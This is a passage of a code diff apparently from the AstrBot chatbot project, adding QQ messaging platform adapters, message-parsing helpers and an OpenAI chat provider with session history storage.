+from util.general_utils import save_temp_img
+import time, base64
+
+# QQ官方消息类型转换
+
+
+def qq_official_message_parse(message: List[BaseMessageComponent]):
+    plain_text = ""
+    image_path = None  # only one img supported
+    for i in message:
+        if isinstance(i, Plain):
+            plain_text += i.text
+        elif isinstance(i, Image) and not image_path:
+            if i.path:
+                image_path = i.path
+            elif i.file and i.file.startswith("base64://"):
+                img_data = base64.b64decode(i.file[9:])
+                image_path = save_temp_img(img_data)
+            else:
+                image_path = save_temp_img(i.file)
+    return plain_text, image_path
+
+# QQ官方消息类型 2 AstrBotMessage
+
+
+def qq_official_message_parse_rev(message: Union[botpy.message.Message, botpy.message.GroupMessage],
+                                  message_type: MessageType) -> AstrBotMessage:
+    abm = AstrBotMessage()
+    abm.type = message_type
+    abm.timestamp = int(time.time())
+    abm.raw_message = message
+    abm.message_id = message.id
+    abm.tag = "qqchan"
+    msg: List[BaseMessageComponent] = []
+
+    if message_type == MessageType.GROUP_MESSAGE:
+        abm.sender = MessageMember(
+            message.author.member_openid,
+            ""
+        )
+        abm.message_str = message.content.strip()
+        abm.self_id = "unknown_selfid"
+
+        msg.append(Plain(abm.message_str))
+        if message.attachments:
+            for i in message.attachments:
+                if i.content_type.startswith("image"):
+                    url = i.url
+                    if not url.startswith("http"):
+                        url = "https://"+url
+                    img = Image.fromURL(url)
+                    msg.append(img)
+        abm.message = msg
+
+    elif message_type == MessageType.GUILD_MESSAGE or message_type == MessageType.FRIEND_MESSAGE:
+        # 目前对于 FRIEND_MESSAGE 只处理频道私聊
+        try:
+            abm.self_id = str(message.mentions[0].id)
+        except:
+            abm.self_id = ""
+
+        plain_content = message.content.replace(
+            "<@!"+str(abm.self_id)+">", "").strip()
+        msg.append(Plain(plain_content))
+        if message.attachments:
+            for i in message.attachments:
+                if i.content_type.startswith("image"):
+                    url = i.url
+                    if not url.startswith("http"):
+                        url = "https://"+url
+                    img = Image.fromURL(url)
+                    msg.append(img)
+        abm.message = msg
+        abm.message_str = plain_content
+        abm.sender = MessageMember(
+            str(message.author.id),
+            str(message.author.username)
+        )
+    else:
+        raise ValueError(f"Unknown message type: {message_type}")
+    return abm
+
+
+def nakuru_message_parse_rev(message: Union[GuildMessage, GroupMessage, FriendMessage]) -> AstrBotMessage:
+    abm = AstrBotMessage()
+    abm.type = MessageType(message.type)
+    abm.timestamp = int(time.time())
+    abm.raw_message = message
+    abm.message_id = message.message_id
+
+    plain_content = ""
+    for i in message.message:
+        if isinstance(i, Plain):
+            plain_content += i.text
+    abm.message_str = plain_content
+
+    abm.self_id = str(message.self_id)
+    abm.sender = MessageMember(
+        str(message.sender.user_id),
+        str(message.sender.nickname)
+    )
+    abm.tag = "gocq"
+    abm.message = message.message
+
+    return abm

model/platform/_message_result.py

@@ -0,0 +1,9 @@
+from dataclasses import dataclass
+from typing import Union, Optional
+
+
+@dataclass
+class MessageResult():
+    result_message: Union[str, list]
+    is_command_call: Optional[bool] = False
+    callback: Optional[callable] = None

model/platform/_platfrom.py

@@ -0,0 +1,73 @@
+import abc
+from typing import Union
+from nakuru import (
+    GuildMessage,
+    GroupMessage,
+    FriendMessage,
+)
+from nakuru.entities.components import Plain, At, Image
+
+
+class Platform():
+    def __init__(self, message_handler: callable) -> None:
+        '''
+        初始化平台的各种接口
+        '''
+        self.message_handler = message_handler
+        self.cnt_receive = 0
+        self.cnt_reply = 0
+        pass
+
+    @abc.abstractmethod
+    async def handle_msg(self):
+        '''
+        处理到来的消息
+        '''
+        self.cnt_receive += 1
+        pass
+
+    @abc.abstractmethod
+    async def reply_msg(self):
+        '''
+        回复消息（被动发送）
+        '''
+        self.cnt_reply += 1
+        pass
+
+    @abc.abstractmethod
+    async def send_msg(self, target: Union[GuildMessage, GroupMessage, FriendMessage, str], message: Union[str, list]):
+        '''
+        发送消息（主动发送）
+        '''
+        self.cnt_reply += 1
+        pass
+
+    @abc.abstractmethod
+    async def send(self, target: Union[GuildMessage, GroupMessage, FriendMessage, str], message: Union[str, list]):
+        '''
+        发送消息（主动发送）同 send_msg()
+        '''
+        self.cnt_reply += 1
+        pass
+
+    def parse_message_outline(self, message: Union[GuildMessage, GroupMessage, FriendMessage, str, list]) -> str:
+        '''
+        将消息解析成大纲消息形式。
+        如: xxxxx[图片]xxxxx
+        '''
+        if isinstance(message, str):
+            return message
+        ret = ''
+        ls_to_parse = message if isinstance(message, list) else message.message
+        try:
+            for node in ls_to_parse:
+                if isinstance(node, Plain):
+                    ret += node.text
+                elif isinstance(node, At):
+                    ret += f'[At: {node.name}/{node.qq}]'
+                elif isinstance(node, Image):
+                    ret += '[图片]'
+        except Exception as e:
+            pass
+        ret.replace('\n', '')
+        return ret

model/platform/qq_gocq.py

@@ -0,0 +1,315 @@
+from nakuru.entities.components import Plain, At, Image, Node
+from util import general_utils as gu
+from util.image_render.helper import text_to_image_base
+from util.cmd_config import CmdConfig
+import asyncio
+from nakuru import (
+    CQHTTP,
+    GuildMessage,
+    GroupMessage,
+    FriendMessage,
+    GroupMemberIncrease,
+    Notify
+)
+from typing import Union
+from type.types import GlobalObject
+import time
+
+from ._platfrom import Platform
+from ._message_parse import nakuru_message_parse_rev
+from type.message import *
+from SparkleLogging.utils.core import LogManager
+from logging import Logger
+
+logger: Logger = LogManager.GetLogger(log_name='astrbot-core')
+
+
+class FakeSource:
+    def __init__(self, type, group_id):
+        self.type = type
+        self.group_id = group_id
+
+
+class QQGOCQ(Platform):
+    def __init__(self, cfg: dict, message_handler: callable, global_object: GlobalObject) -> None:
+        super().__init__(message_handler)
+
+        self.loop = asyncio.new_event_loop()
+        asyncio.set_event_loop(self.loop)
+
+        self.waiting = {}
+        self.cc = CmdConfig()
+        self.cfg = cfg
+        
+        self.context = global_object
+
+        self.unique_session = cfg['uniqueSessionMode']
+        self.pic_mode = cfg['qq_pic_mode']
+
+        self.client = CQHTTP(
+            host=self.cc.get("gocq_host", "127.0.0.1"),
+            port=self.cc.get("gocq_websocket_port", 6700),
+            http_port=self.cc.get("gocq_http_port", 5700),
+        )
+        gocq_app = self.client
+
+        self.announcement = self.cc.get("announcement", "欢迎新人！")
+
+        @gocq_app.receiver("GroupMessage")
+        async def _(app: CQHTTP, source: GroupMessage):
+            if self.cc.get("gocq_react_group", True):
+                abm = nakuru_message_parse_rev(source)
+                if isinstance(source.message[0], Plain):
+                    await self.handle_msg(abm)
+                elif isinstance(source.message[0], At):
+                    if source.message[0].qq == source.self_id:
+                        await self.handle_msg(abm)
+                else:
+                    return
+
+        @gocq_app.receiver("FriendMessage")
+        async def _(app: CQHTTP, source: FriendMessage):
+            if self.cc.get("gocq_react_friend", True):
+                abm = nakuru_message_parse_rev(source)
+                if isinstance(source.message[0], Plain):
+                    await self.handle_msg(abm)
+                else:
+                    return
+
+        @gocq_app.receiver("GroupMemberIncrease")
+        async def _(app: CQHTTP, source: GroupMemberIncrease):
+            if self.cc.get("gocq_react_group_increase", True):
+                await app.sendGroupMessage(source.group_id, [
+                    Plain(text=self.announcement)
+                ])
+
+        # @gocq_app.receiver("Notify")
+        # async def _(app: CQHTTP, source: Notify):
+        #     print(source)
+        #     if source.sub_type == "poke" and source.target_id == source.self_id:
+        #         await self.handle_msg(source)
+
+        @gocq_app.receiver("GuildMessage")
+        async def _(app: CQHTTP, source: GuildMessage):
+            if self.cc.get("gocq_react_guild", True):
+                abm = nakuru_message_parse_rev(source)
+                if isinstance(source.message[0], Plain):
+                    await self.handle_msg(abm)
+                elif isinstance(source.message[0], At):
+                    if source.message[0].qq == source.self_tiny_id:
+                        await self.handle_msg(abm)
+                else:
+                    return
+
+    def run(self):
+        self.client.run()
+
+    async def handle_msg(self, message: AstrBotMessage):
+        await super().handle_msg()
+        logger.info(
+            f"{message.sender.nickname}/{message.sender.user_id} -> {self.parse_message_outline(message)}")
+
+        assert isinstance(message.raw_message,
+                          (GroupMessage, FriendMessage, GuildMessage))
+        is_group = message.type != MessageType.FRIEND_MESSAGE
+
+        # 判断是否响应消息
+        resp = False
+        if not is_group:
+            resp = True
+        else:
+            for i in message.message:
+                if isinstance(i, At):
+                    if message.type.value == "GuildMessage":
+                        if str(i.qq) == str(message.raw_message.user_id) or str(i.qq) == str(message.raw_message.self_tiny_id):
+                            resp = True
+                    if message.type.value == "FriendMessage":
+                        if str(i.qq) == str(message.self_id):
+                            resp = True
+                    if message.type.value == "GroupMessage":
+                        if str(i.qq) == str(message.self_id):
+                            resp = True
+                elif isinstance(i, Plain) and self.context.nick:
+                    for nick in self.context.nick:
+                        if nick != '' and i.text.strip().startswith(nick):
+                            resp = True
+                            break
+
+        if not resp:
+            return
+
+        # 解析 session_id
+        if self.unique_session or not is_group:
+            session_id = message.raw_message.user_id
+        elif message.type == MessageType.GROUP_MESSAGE:
+            session_id = message.raw_message.group_id
+        elif message.type == MessageType.GUILD_MESSAGE:
+            session_id = message.raw_message.channel_id
+        else:
+            session_id = message.raw_message.user_id
+
+        message.session_id = session_id
+
+        # 解析 role
+        sender_id = str(message.raw_message.user_id)
+        if sender_id == self.cc.get('admin_qq', '') or \
+                sender_id in self.cc.get('other_admins', []):
+            role = 'admin'
+        else:
+            role = 'member'
+
+        message_result = await self.message_handler(
+            message=message,
+            session_id=session_id,
+            role=role,
+            platform='gocq'
+        )
+
+        if message_result is None:
+            return
+        await self.reply_msg(message, message_result.result_message)
+        if message_result.callback is not None:
+            message_result.callback()
+
+        # 如果是等待回复的消息
+        if session_id in self.waiting and self.waiting[session_id] == '':
+            self.waiting[session_id] = message
+
+    async def reply_msg(self,
+                        message: Union[AstrBotMessage, GuildMessage, GroupMessage, FriendMessage],
+                        result_message: list):
+        await super().reply_msg()
+        """
+        插件开发者请使用send方法, 可以不用直接调用这个方法。
+        """
+        if isinstance(message, AstrBotMessage):
+            source = message.raw_message
+        else:
+            source = message
+
+        res = result_message
+
+        logger.info(
+            f"{source.user_id} <- {self.parse_message_outline(res)}")
+
+        if isinstance(source, int):
+            source = FakeSource("GroupMessage", source)
+
+        # str convert to CQ Message Chain
+        if isinstance(res, str):
+            res_str = res
+            res = []
+            if source.type == "GroupMessage" and not isinstance(source, FakeSource):
+                res.append(At(qq=source.user_id))
+            res.append(Plain(text=res_str))
+
+        # if image mode, put all Plain texts into a new picture.
+        if self.pic_mode and isinstance(res, list):
+            plains = []
+            news = []
+            for i in res:
+                if isinstance(i, Plain):
+                    plains.append(i.text)
+                else:
+                    news.append(i)
+            plains_str = "".join(plains).strip()
+            if plains_str != "" and len(plains_str) > 50:
+                # p = gu.create_markdown_image("".join(plains))
+                p = await text_to_image_base(plains_str)
+                news.append(Image.fromFileSystem(p))
+                res = news
+
+        # 回复消息链
+        if isinstance(res, list) and len(res) > 0:
+            if source.type == "GuildMessage":
+                await self.client.sendGuildChannelMessage(source.guild_id, source.channel_id, res)
+                return
+            elif source.type == "FriendMessage":
+                await self.client.sendFriendMessage(source.user_id, res)
+                return
+            elif source.type == "GroupMessage":
+                # 过长时forward发送
+                plain_text_len = 0
+                image_num = 0
+                for i in res:
+                    if isinstance(i, Plain):
+                        plain_text_len += len(i.text)
+                    elif isinstance(i, Image):
+                        image_num += 1
+                if plain_text_len > self.cc.get('qq_forward_threshold', 200):
+                    # 删除At
+                    for i in res:
+                        if isinstance(i, At):
+                            res.remove(i)
+                    node = Node(res)
+                    # node.content = res
+                    node.uin = 123456
+                    node.name = f"bot"
+                    node.time = int(time.time())
+                    # print(node)
+                    nodes = [node]
+                    await self.client.sendGroupForwardMessage(source.group_id, nodes)
+                    return
+                await self.client.sendGroupMessage(source.group_id, res)
+                return
+
+    async def send_msg(self, message: Union[GroupMessage, FriendMessage, GuildMessage, AstrBotMessage], result_message: list):
+        '''
+        提供给插件的发送QQ消息接口。
+        参数说明：第一个参数可以是消息对象，也可以是QQ群号。第二个参数是消息内容（消息内容可以是消息链列表，也可以是纯文字信息）。
+        '''
+        await super().reply_msg()
+        try:
+            await self.reply_msg(message, result_message)
+        except BaseException as e:
+            raise e
+
+    async def send(self,
+                   to,
+                   res):
+        '''
+        同 send_msg()
+        '''
+        await super().reply_msg()
+        await self.reply_msg(to, res)
+
+    async def create_text_image(text: str):
+        '''
+        文本转图片。
+        text: 文本内容
+        返回：文件路径
+        '''
+        try:
+            return await text_to_image_base(text)
+        except Exception as e:
+            raise e
+
+    def wait_for_message(self, group_id) -> Union[GroupMessage, FriendMessage, GuildMessage]:
+        '''
+        等待下一条消息，超时 300s 后抛出异常
+        '''
+        self.waiting[group_id] = ''
+        cnt = 0
+        while True:
+            if group_id in self.waiting and self.waiting[group_id] != '':
+                # 去掉
+                ret = self.waiting[group_id]
+                del self.waiting[group_id]
+                return ret
+            cnt += 1
+            if cnt > 300:
+                raise Exception("等待消息超时。")
+            time.sleep(1)
+
+    def get_client(self):
+        return self.client
+
+    async def nakuru_method_invoker(self, func, *args, **kwargs):
+        """
+        返回一个方法调用器，可以用来立即调用nakuru的方法。
+        """
+        try:
+            ret = func(*args, **kwargs)
+            return ret
+        except BaseException as e:
+            raise e

model/platform/qq_official.py

@@ -0,0 +1,334 @@
+import io
+import botpy
+from PIL import Image as PILImage
+import botpy.message
+import re
+import asyncio
+import aiohttp
+import botpy.types
+import botpy.types.message
+from util import general_utils as gu
+
+from botpy.types.message import Reference
+from botpy import Client
+import time
+from ._platfrom import Platform
+from ._message_parse import (
+    qq_official_message_parse_rev,
+    qq_official_message_parse
+)
+from type.message import *
+from typing import Union, List
+from nakuru.entities.components import *
+from util.image_render.helper import text_to_image_base
+from SparkleLogging.utils.core import LogManager
+from logging import Logger
+
+logger: Logger = LogManager.GetLogger(log_name='astrbot-core')
+
+# QQ 机器人官方框架
+class botClient(Client):
+    def set_platform(self, platform: 'QQOfficial'):
+        self.platform = platform
+
+    async def on_group_at_message_create(self, message: botpy.message.GroupMessage):
+        abm = qq_official_message_parse_rev(message, MessageType.GROUP_MESSAGE)
+        await self.platform.handle_msg(abm)
+
+    # 收到频道消息
+    async def on_at_message_create(self, message: botpy.message.Message):
+        # 转换层
+        abm = qq_official_message_parse_rev(message, MessageType.GUILD_MESSAGE)
+        await self.platform.handle_msg(abm)
+
+    # 收到私聊消息
+    async def on_direct_message_create(self, message: botpy.message.DirectMessage):
+        # 转换层
+        abm = qq_official_message_parse_rev(
+            message, MessageType.FRIEND_MESSAGE)
+        await self.platform.handle_msg(abm)
+
+
+class QQOfficial(Platform):
+
+    def __init__(self, cfg: dict, message_handler: callable, global_object) -> None:
+        super().__init__(message_handler)
+
+        self.loop = asyncio.new_event_loop()
+        asyncio.set_event_loop(self.loop)
+
+        self.waiting: dict = {}
+
+        self.cfg = cfg
+        self.appid = cfg['qqbot']['appid']
+        self.token = cfg['qqbot']['token']
+        self.secret = cfg['qqbot_secret']
+        self.unique_session = cfg['uniqueSessionMode']
+        qq_group = cfg['qqofficial_enable_group_message']
+        self.pic_mode = cfg['qq_pic_mode']
+
+        if qq_group:
+            self.intents = botpy.Intents(
+                public_messages=True,
+                public_guild_messages=True,
+                direct_message=cfg['direct_message_mode']
+            )
+        else:
+            self.intents = botpy.Intents(
+                public_guild_messages=True,
+                direct_message=cfg['direct_message_mode']
+            )
+        self.client = botClient(
+            intents=self.intents,
+            bot_log=False
+        )
+
+        self.client.set_platform(self)
+
+    def run(self):
+        try:
+            self.loop.run_until_complete(self.client.run(
+                appid=self.appid,
+                secret=self.secret
+            ))
+        except BaseException as e:
+            print(e)
+            self.client = botClient(
+                intents=self.intents,
+                bot_log=False
+            )
+            self.client.set_platform(self)
+            self.client.run(
+                appid=self.appid,
+                token=self.token
+            )
+
+    async def handle_msg(self, message: AstrBotMessage):
+        await super().handle_msg()
+        assert isinstance(message.raw_message, (botpy.message.Message,
+                          botpy.message.GroupMessage, botpy.message.DirectMessage))
+        is_group = message.type != MessageType.FRIEND_MESSAGE
+
+        _t = "/私聊" if not is_group else ""
+        logger.info(
+            f"{message.sender.nickname}({message.sender.user_id}{_t}) -> {self.parse_message_outline(message)}")
+
+        # 解析出 session_id
+        if self.unique_session or not is_group:
+            session_id = message.sender.user_id
+        else:
+            if message.type == MessageType.GUILD_MESSAGE:
+                session_id = message.raw_message.channel_id
+            elif message.type == MessageType.GROUP_MESSAGE:
+                session_id = str(message.raw_message.group_openid)
+            else:
+                session_id = str(message.raw_message.author.id)
+        message.session_id = session_id
+
+        # 解析出 role
+        sender_id = message.sender.user_id
+        if sender_id == self.cfg['admin_qqchan'] or \
+                sender_id in self.cfg['other_admins']:
+            role = 'admin'
+        else:
+            role = 'member'
+
+        message_result = await self.message_handler(
+            message=message,
+            session_id=session_id,
+            role=role,
+            platform='qqchan'
+        )
+
+        if message_result is None:
+            return
+
+        await self.reply_msg(message, message_result.result_message)
+        if message_result.callback is not None:
+            message_result.callback()
+
+        # 如果是等待回复的消息
+        if session_id in self.waiting and self.waiting[session_id] == '':
+            self.waiting[session_id] = message
+
+    async def reply_msg(self,
+                        message: Union[botpy.message.Message, botpy.message.GroupMessage, botpy.message.DirectMessage, AstrBotMessage],
+                        res: Union[str, list]):
+        '''
+        回复频道消息
+        '''
+        await super().reply_msg()
+        if isinstance(message, AstrBotMessage):
+            source = message.raw_message
+        else:
+            source = message
+        assert isinstance(source, (botpy.message.Message,
+                          botpy.message.GroupMessage, botpy.message.DirectMessage))
+        logger.info(
+            f"{message.sender.nickname}({message.sender.user_id}) <- {self.parse_message_outline(res)}")
+
+        plain_text = ''
+        image_path = ''
+        msg_ref = None
+
+        # if isinstance(res, list):
+        #     plain_text, image_path = qq_official_message_parse(res)
+        # elif isinstance(res, str):
+        #     plain_text = res
+
+        # if self.cfg['qq_pic_mode']:
+        #     # 文本转图片，并且加上原来的图片
+        #     if plain_text != '' or image_path != '':
+        #         if image_path is not None and image_path != '':
+        #             if image_path.startswith("http"):
+        #                 plain_text += "\n\n" + "![](" + image_path + ")"
+        #             else:
+        #                 plain_text += "\n\n" + \
+        #                     "![](file:///" + image_path + ")"
+        #         # image_path = gu.create_markdown_image("".join(plain_text))
+        #         image_path = await text_to_image_base("".join(plain_text))
+        #         plain_text = ""
+
+        # else:
+        #     if image_path is not None and image_path != '':
+        #         msg_ref = None
+        #         if image_path.startswith("http"):
+        #             async with aiohttp.ClientSession() as session:
+        #                 async with session.get(image_path) as response:
+        #                     if response.status == 200:
+        #                         image = PILImage.open(io.BytesIO(await response.read()))
+        #                         image_path = gu.save_temp_img(image)
+        if self.pic_mode:
+            plains = []
+            news = []
+            if isinstance(res, str):
+                res = [Plain(text=res, convert=False),]
+            for i in res:
+                if isinstance(i, Plain):
+                    plains.append(i.text)
+                else:
+                    news.append(i)
+            plains_str = "".join(plains).strip()
+            if plains_str and len(plains_str) > 50:
+                p = await text_to_image_base(plains_str, return_url=False)
+                with open(p, "rb") as f:
+                    news.append(Image.fromBytes(f.read()))
+                res = news
+
+        if isinstance(res, list):
+            plain_text, image_path = qq_official_message_parse(res)
+        else:
+            plain_text = res
+
+        if source is not None and image_path == '':  # file_image与message_reference不能同时传入
+            msg_ref = Reference(message_id=source.id,
+                                ignore_get_message_error=False)
+
+        # 到这里，我们得到了 plain_text，image_path，msg_ref
+        data = {
+            'content': plain_text,
+            'msg_id': message.message_id,
+            'message_reference': msg_ref
+        }
+        if message.type == MessageType.GROUP_MESSAGE:
+            data['group_openid'] = str(source.group_openid)
+        elif message.type == MessageType.GUILD_MESSAGE:
+            data['channel_id'] = source.channel_id
+        elif message.type == MessageType.FRIEND_MESSAGE:
+            # 目前只处理频道私聊
+            data['guild_id'] = source.guild_id
+        else:
+            raise ValueError(f"未知的消息类型: {message.type}")
+        if image_path:
+            data['file_image'] = image_path
+
+        try:
+            await self._send_wrapper(**data)
+        except BaseException as e:
+            print(e)
+            # 分割过长的消息
+            if "msg over length" in str(e):
+                split_res = []
+                split_res.append(plain_text[:len(plain_text)//2])
+                split_res.append(plain_text[len(plain_text)//2:])
+                for i in split_res:
+                    data['content'] = i
+                    await self._send_wrapper(**data)
+            else:
+                # 发送qq信息
+                try:
+                    # 防止被qq频道过滤消息
+                    plain_text = plain_text.replace(".", " . ")
+                    await self._send_wrapper(**data)
+
+                except BaseException as e:
+                    try:
+                        data['content'] = str.join(" ", plain_text)
+                        await self._send_wrapper(**data)
+                    except BaseException as e:
+                        plain_text = re.sub(
+                            r'(https|http)?:\/\/(\w|\.|\/|\?|\=|\&|\%)*\b', '[被隐藏的链接]', str(e), flags=re.MULTILINE)
+                        plain_text = plain_text.replace(".", "·")
+                        data['content'] = plain_text
+                        await self._send_wrapper(**data)
+
+    async def _send_wrapper(self, **kwargs):
+        if 'group_openid' in kwargs:
+            # QQ群组消息
+            media = None
+            # qq群组消息需要自行上传，暂时不处理
+            # if 'file_image' in kwargs:
+            #     file_image_path = kwargs['file_image']
+            #     if file_image_path != "":
+            #         media = await self.upload_img(file_image_path, kwargs['group_openid'])
+            #         del kwargs['file_image']
+            #     if media is not None:
+            #         kwargs['msg_type'] = 7 # 富媒体
+            await self.client.api.post_group_message(media=media, **kwargs)
+        elif 'channel_id' in kwargs:
+            # 频道消息
+            if 'file_image' in kwargs:
+                kwargs['file_image'] = kwargs['file_image'].replace(
+                    "file://", "")
+            await self.client.api.post_message(**kwargs)
+        else:
+            # 频道私聊消息
+            if 'file_image' in kwargs:
+                kwargs['file_image'] = kwargs['file_image'].replace(
+                    "file://", "")
+            await self.client.api.post_dms(**kwargs)
+
+    async def send_msg(self,
+                       message_obj: Union[botpy.message.Message, botpy.message.GroupMessage, botpy.message.DirectMessage, AstrBotMessage],
+                       message_chain: List[BaseMessageComponent],
+                       ):
+        '''
+        发送消息。目前只支持被动回复消息（即拥有一个 botpy Message 类型的 message_obj 传入）
+        '''
+        await self.reply_msg(message_obj, message_chain)
+
+    async def send(self,
+                   message_obj: Union[botpy.message.Message, botpy.message.GroupMessage, botpy.message.DirectMessage, AstrBotMessage],
+                   message_chain: List[BaseMessageComponent],
+                   ):
+        '''
+        发送消息。目前只支持被动回复消息（即拥有一个 botpy Message 类型的 message_obj 传入）
+        '''
+        await self.reply_msg(message_obj, message_chain)
+
+    def wait_for_message(self, channel_id: int) -> AstrBotMessage:
+        '''
+        等待指定 channel_id 的下一条信息，超时 300s 后抛出异常
+        '''
+        self.waiting[channel_id] = ''
+        cnt = 0
+        while True:
+            if channel_id in self.waiting and self.waiting[channel_id] != '':
+                # 去掉
+                ret = self.waiting[channel_id]
+                del self.waiting[channel_id]
+                return ret
+            cnt += 1
+            if cnt > 300:
+                raise Exception("等待消息超时。")
+            time.sleep(1)()

model/provider/openai_official.py

@@ -0,0 +1,500 @@
+import os
+import sys
+import json
+import time
+import tiktoken
+import threading
+import traceback
+import base64
+
+from openai import AsyncOpenAI
+from openai.types.images_response import ImagesResponse
+from openai.types.chat.chat_completion import ChatCompletion
+from openai._exceptions import *
+
+from persist.session import dbConn
+from model.provider.provider import Provider
+from util import general_utils as gu
+from util.cmd_config import CmdConfig
+from SparkleLogging.utils.core import LogManager
+from logging import Logger
+from typing import List, Dict
+
+logger: Logger = LogManager.GetLogger(log_name='astrbot-core')
+
+MODELS = {
+    "gpt-4o": 128000,
+    "gpt-4o-2024-05-13": 128000,
+    "gpt-4-turbo": 128000,
+    "gpt-4-turbo-2024-04-09": 128000,
+    "gpt-4-turbo-preview": 128000,
+    "gpt-4-0125-preview": 128000,
+    "gpt-4-1106-preview": 128000,
+    "gpt-4-vision-preview": 128000,
+    "gpt-4-1106-vision-preview": 128000,
+    "gpt-4": 8192,
+    "gpt-4-0613": 8192,
+    "gpt-4-32k": 32768,
+    "gpt-4-32k-0613": 32768,
+    "gpt-3.5-turbo-0125": 16385,
+    "gpt-3.5-turbo": 16385,
+    "gpt-3.5-turbo-1106": 16385,
+    "gpt-3.5-turbo-instruct": 4096,
+    "gpt-3.5-turbo-16k": 16385,
+    "gpt-3.5-turbo-0613": 16385,
+    "gpt-3.5-turbo-16k-0613": 16385, 
+}
+
+class ProviderOpenAIOfficial(Provider):
+    def __init__(self, cfg) -> None:
+        super().__init__()
+
+        os.makedirs("data/openai", exist_ok=True)
+
+        self.cc = CmdConfig
+        self.key_data_path = "data/openai/keys.json"
+        self.api_keys = []
+        self.chosen_api_key = None
+        self.base_url = None
+        self.keys_data = {} # 记录超额
+
+        if cfg['key']: self.api_keys = cfg['key']
+        if cfg['api_base']: self.base_url = cfg['api_base']
+        if not self.api_keys:
+            logger.warn("看起来你没有添加 OpenAI 的 API 密钥，OpenAI LLM 能力将不会启用。")
+        else:
+            self.chosen_api_key = self.api_keys[0]
+
+        for key in self.api_keys:
+            self.keys_data[key] = True
+
+        self.client = AsyncOpenAI(
+            api_key=self.chosen_api_key,
+            base_url=self.base_url
+        )
+        self.model_configs: Dict = cfg['chatGPTConfigs']
+        super().set_curr_model(self.model_configs['model'])
+        self.image_generator_model_configs: Dict = self.cc.get('openai_image_generate', None)
+        self.session_memory: Dict[str, List]  = {} # 会话记忆
+        self.session_memory_lock = threading.Lock()
+        self.max_tokens = self.model_configs['max_tokens'] # 上下文窗口大小
+        self.tokenizer = tiktoken.get_encoding("cl100k_base") # todo: 根据 model 切换分词器
+        self.DEFAULT_PERSONALITY = {
+            "name": "default",
+            "prompt": "你是一个很有帮助的 AI 助手。"
+        }
+        self.curr_personality = self.DEFAULT_PERSONALITY
+        self.session_personality = {} # 记录了某个session是否已设置人格。
+        # 从 SQLite DB 读取历史记录
+        try:
+            db1 = dbConn()
+            for session in db1.get_all_session():
+                self.session_memory_lock.acquire()
+                self.session_memory[session[0]] = json.loads(session[1])['data']
+                self.session_memory_lock.release()
+        except BaseException as e:
+            logger.warn(f"读取 OpenAI LLM 对话历史记录 失败：{e}。仍可正常使用。")
+        
+        # 定时保存历史记录
+        threading.Thread(target=self.dump_history, daemon=True).start()
+
+    def dump_history(self):
+        '''
+        转储历史记录
+        '''
+        time.sleep(10)
+        db = dbConn()
+        while True:
+            try:
+                for key in self.session_memory:
+                    data = self.session_memory[key]
+                    data_json = {
+                        'data': data
+                    }
+                    if db.check_session(key):
+                        db.update_session(key, json.dumps(data_json))
+                    else:
+                        db.insert_session(key, json.dumps(data_json))
+                logger.debug("已保存 OpenAI 会话历史记录")
+            except BaseException as e:
+                print(e)
+            finally:
+                time.sleep(10*60)
+    
+    def personality_set(self, default_personality: dict, session_id: str):
+        if not default_personality: return
+        if session_id not in self.session_memory:
+            self.session_memory[session_id] = []
+        self.curr_personality = default_personality
+        self.session_personality = {} # 重置
+        encoded_prompt = self.tokenizer.encode(default_personality['prompt'])
+        tokens_num = len(encoded_prompt)
+        model = self.model_configs['model']
+        if model in MODELS and tokens_num > MODELS[model] - 500:
+            default_personality['prompt'] = self.tokenizer.decode(encoded_prompt[:MODELS[model] - 500])
+
+        new_record = {
+            "user": {
+                "role": "system",
+                "content": default_personality['prompt'],
+            },
+            'usage_tokens': 0, # 到该条目的总 token 数
+            'single-tokens': 0 # 该条目的 token 数
+        }
+
+        self.session_memory[session_id].append(new_record)
+
+    async def encode_image_bs64(self, image_url: str) -> str:
+        '''
+        将图片转换为 base64
+        '''
+        if image_url.startswith("http"):
+            image_url = await gu.download_image_by_url(image_url)
+        
+        with open(image_url, "rb") as f:
+            image_bs64 = base64.b64encode(f.read()).decode()
+            return "data:image/jpeg;base64," + image_bs64
+
+    async def retrieve_context(self, session_id: str):
+        '''
+        根据 session_id 获取保存的 OpenAI 格式的上下文
+        '''
+        if session_id not in self.session_memory:
+            raise Exception("会话 ID 不存在")
+        
+        # 转换为 openai 要求的格式
+        context = []
+        is_lvm = await self.is_lvm()
+        for record in self.session_memory[session_id]:
+            if "user" in record and record['user']:
+                if not is_lvm and "content" in record['user'] and isinstance(record['user']['content'], list):
+                    logger.warn(f"由于当前模型 {self.model_configs['model']}不支持视觉，将忽略上下文中的图片输入。如果一直弹出此警告，可以尝试 reset 指令。")
+                    continue
+                context.append(record['user'])
+            if "AI" in record and record['AI']:
+                context.append(record['AI'])
+
+        return context
+
+    async def is_lvm(self):
+        '''
+        是否是 LVM
+        '''
+        return self.model_configs['model'].startswith("gpt-4")
+    
+    async def get_models(self):
+        '''
+        获取所有模型
+        '''
+        models = await self.client.models.list()
+        logger.info(f"OpenAI 模型列表：{models}")
+        return models
+    
+    async def assemble_context(self, session_id: str, prompt: str, image_url: str = None):
+        '''
+        组装上下文，并且根据当前上下文窗口大小截断
+        '''
+        if session_id not in self.session_memory:
+            raise Exception("会话 ID 不存在")
+        
+        tokens_num = len(self.tokenizer.encode(prompt))
+        previous_total_tokens_num = 0 if not self.session_memory[session_id] else self.session_memory[session_id][-1]['usage_tokens']
+
+        message = {
+            "usage_tokens": previous_total_tokens_num + tokens_num,
+            "single_tokens": tokens_num,
+            "AI": None
+        }
+        if image_url:
+            user_content = {
+                "role": "user",
+                "content": [
+                    {
+                        "type": "text",
+                        "text": prompt
+                    },
+                    {
+                        "type": "image_url",
+                        "image_url": {
+                            "url": await self.encode_image_bs64(image_url)
+                        }
+                    }
+                ]
+            }
+        else:
+            user_content = {
+                "role": "user",
+                "content": prompt
+            }
+
+        message["user"] = user_content
+        self.session_memory[session_id].append(message)
+
+        # 根据 模型的上下文窗口 淘汰掉多余的记录
+        curr_model = self.model_configs['model']
+        if curr_model in MODELS:
+            maxium_tokens_num = MODELS[curr_model] - 300 # 至少预留 300 给 completion
+            # if message['usage_tokens'] > maxium_tokens_num:
+                # 淘汰多余的记录，使得最终的 usage_tokens 不超过 maxium_tokens_num - 300
+                # contexts = self.session_memory[session_id]
+                # need_to_remove_idx = 0
+                # freed_tokens_num = contexts[0]['single-tokens']
+                # while freed_tokens_num < message['usage_tokens'] - maxium_tokens_num:
+                #     need_to_remove_idx += 1
+                #     freed_tokens_num += contexts[need_to_remove_idx]['single-tokens']
+                # # 更新之后的所有记录的 usage_tokens
